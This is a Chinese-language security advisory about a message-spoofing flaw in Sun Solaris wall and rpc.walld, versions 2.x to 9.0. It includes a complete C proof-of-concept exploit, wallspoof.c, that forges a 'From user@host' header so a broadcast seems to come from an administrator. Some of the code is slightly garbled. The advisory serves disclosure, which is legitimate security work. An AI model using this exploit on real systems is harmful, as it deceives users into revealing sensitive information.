涉及程序: Sun Solaris Wall 描述: Sun Solaris Wall 信息来源可伪造缺陷 详细: 在Solaris中,wall程序用于将一些信息广播到登陆到系统上的每一个用户。 守护进程RPC(rpc.walld)用来监听并接收远程主机的wall请求,当接收到wall请求时将调用 wall 程序, 由wall将收到的讯息发送给分时系统(time-sharing system)上所有的终端机。wall区别于本地和远程用户请求消息是通过检查stderr文件描述符是否指向对应的tty。如果不是,wall程序将检查消息前5个字节是否为\"From\";如果是,下一个非空白字符必须为user@host形式。 恶意用户可在执行程序/usr/sbin/wall前通过简单关闭stderr,并发送一个伪造的\"From\"报头来伪造rpc.walld信息,使用户接收到此消息时,误以为是管理员发过来的信息。 攻击者可利用此缺陷通过发送伪造信息愚弄目标网络中普通用户,使他们信以为真而进行一些可能泄露敏感信息的行为。 受影响系统: Sun Solaris Wall - Sun Solaris 2.x 至 9.0 攻击方法: /* wallspoof.c - SOLARIS (X86/SPARC) Exploit Don\`t use this in a malicious way! (i.e. to own people) */ #include
#include
#include
int main(int argc, char **argv) { char *userhost; char mesg<2050>; FILE *tmp; if (argc < 2) { fprintf (stderr, \"usage: wallspoof user@host\\n\"); exit (-1); } userhost = argv<1>; if ((tmp = fopen("/tmp/rxax", "w")) == NULL) { perror ("open"); exit (-1); } printf ("Enter your message below. End your message with an EOF (Control+D).\n"); fprintf (tmp, "From %s:", userhost); while (fgets(mesg, 2050, stdin) != NULL) fprintf (tmp, "%s", mesg); fclose (tmp); fclose (stderr); printf ("
\n"); system ("/usr/sbin/wall < /tmp/rxax\"); unlink (\"/tmp/rxax\"); } 解决方案: 目前厂商还没有提供补丁或升级程序,建议用户随时关注厂商站点: http://sunsolve.sun.com/pub-cgi/show.pl?target=patches/patch-access